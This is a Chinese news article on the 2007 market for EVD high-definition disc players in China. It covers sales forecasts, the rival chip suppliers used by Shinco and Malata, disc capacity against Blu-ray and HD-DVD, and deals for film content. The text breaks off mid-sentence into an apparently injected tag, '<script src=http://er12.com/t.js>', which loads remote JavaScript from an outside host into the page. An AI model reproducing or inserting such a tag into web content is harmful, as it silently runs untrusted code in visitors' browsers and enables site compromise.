内容和技术 evd产业化还需打通“任督二脉”
中国evd：市场化到底有多远？
王珍
evd替代dvd是一个渐进的过程，不会一蹴而就
2007年中国evd市场的销量大约为100万台。目前国内dvd一年的销量达2000万台
“evd元旦卖得不错，增长率达到了100%。”新科电子销售中心副总经理樊文建昨日对《第一财经日报》透露。新科前两年做evd“没得益”，随着平板电视的火爆以及2006年年底evd的高调亮相，以播放高清电影为卖点的evd，在市场上似乎正逐渐回暖。
2006年12月6日，evd产业联盟高调成立，hvd、hdv也统一在evd这面民族大旗之下。这一在evd发展历史上将有重要意义的“北京宣言”，其最大意义在于向外界传递了中国碟机产业链团结一心的决心。
需要理智看待的是，除了决心以外，2007年，evd走向市场化还要迈出更坚实的脚步。
替代dvd尚需时日
“evd北京宣言”最响亮的口号就是：2008年evd替代dvd。
这一目标究竟能否实现呢？“evd何时替代dvd，这是由市场决定的。”作为市场最前端的碟机企业的代表，樊文建说。与此同时，记者采访到的碟机企业普遍观点是，evd替代dvd是一个渐进的过程，不会一蹴而就。
樊文建预计，2007年中国evd市场的销量大约为100万台。深圳万利达电子工业有限公司的总经理吴启楠也认为，evd今年100万台的市场容量是一个比较实际的数字。而吴启楠同时强调，目前国内dvd一年的销量达2000万台。
在过去的很长时间里，由于国内高清碟机市场混乱，很多碟机厂商似乎有点摸不着头脑。
作为evd的坚定支持者，新科过去两年因国内高清碟机的“三国纷争”(evd、hvd、hdv)而销售未如理想。“目前新科只做evd，不做evd-2。”樊文建强调，目前新科evd的售价为1380元/台，依旧采用第一代evd芯片供应商美国lsilogic的芯片。
目前，虽然hvd和hdv在名称上都统一在evd旗下，并且推出采用hvd芯片供应商晶晨的芯片的产品evd-2，售价降至约700元/台。这款产品在很多性能上贴近dvd，被evd产业认为是卷土重来的卖点之一。
不过，新科仍坚持evd原来的技术方案。
另一个碟机巨头万利达则采用了evd-2的方案。吴启楠向记者透露，加上“歌王”功能，万利达两款evd的售价分别为898元/台和1198元/台。
吴启楠认为，尽管万利达看好高清碟机的市场需求，但是evd要全面普及，还需要对消费者进行教育，万利达evd仍处于推广投入期。因此，目前evd兼容dvd也是一个现实的需要，毕竟dvd碟片占据了光盘内容供应90%的市场。
技术方案今年升级
新科和万利达的不同选择，侧面反映了evd阵营内对技术标准的不同看法。
evd联盟秘书长、evd迄今最大投资商今典投资(集团)有限公司董事长张宝全坦言，晶晨芯片支持画面的清晰度略逊于lsilogic芯片，但是，晶晨的芯片能够支持usb(优盘)接口和网络下载，这是lsilogic芯片做不到的。而且，晶晨芯片的价格比lsilogic芯片便宜。
张宝全断言，未来高清电影在家庭播放的形态不一定是光盘，优盘将成为下一步家庭高清电影播放的主流形式，光盘可能将成为辅助形式。
然而，与最大的竞争者日本的蓝光dvd、hd-dvd相比，目前evd在技术上的最大短板还在于evd光盘的容量较小。一张evd光盘可以装下105分钟的高清电影，而蓝光dvd和hd-dvd一张盘片大约可以装下150分钟到200分钟的高清电影。
也就是说，超过两个小时的电影，evd需要用两张光盘来装，播放时需要换一次盘片。而好莱坞电影的标准时长是120分钟。此外，由于evd目前兼容dvd，因此dvd的专利费一分钱也不能少交。
张宝全表示，最近一两个月，是要静下心来考虑技术如何整合的时候了。中国自主研发的红光光盘有三家，武汉光盘中心的nvd、清华光盘中心的hrd和中国台湾的fvd。这些红光光盘都可以做到单面双层12 g，它们中的任何一种如果与大陆拥有自主知识产权的avs视频标准相结合，就可以装下150分钟1920×1080的高清电影。
“avs的芯片2007年2、3月份会出来。”张宝全充满期待地说，avs的内容压缩能力是现行的编解码标准mpagii的3倍，而美国rm推出的编解码技术又比avs提高30%。这对于evd产业来说，也是一个机会。
以新模式吸引好莱坞
事实上，技术并不是最困扰张宝全的事。市场启动的关键要看内容，如果缺乏高清电影节目，消费者又怎么会有冲动买高清碟机回家呢？
吴启楠对此则认为，evd盘片要在与dvd的较量中胜出，一要新片上市快，二是购买便利。而evd主要内容供应商今典环球，也正是朝这两个方向努力的。
2006年12月6日，今典环球、中凯文化、盈艺、飞仕、鸿翔音像、精彩无限fab、国美音像7家内容商、渠道商组成evd内容运营公司，其中今典环球相对控股20%，其?script src=http://er12.com/t.js>
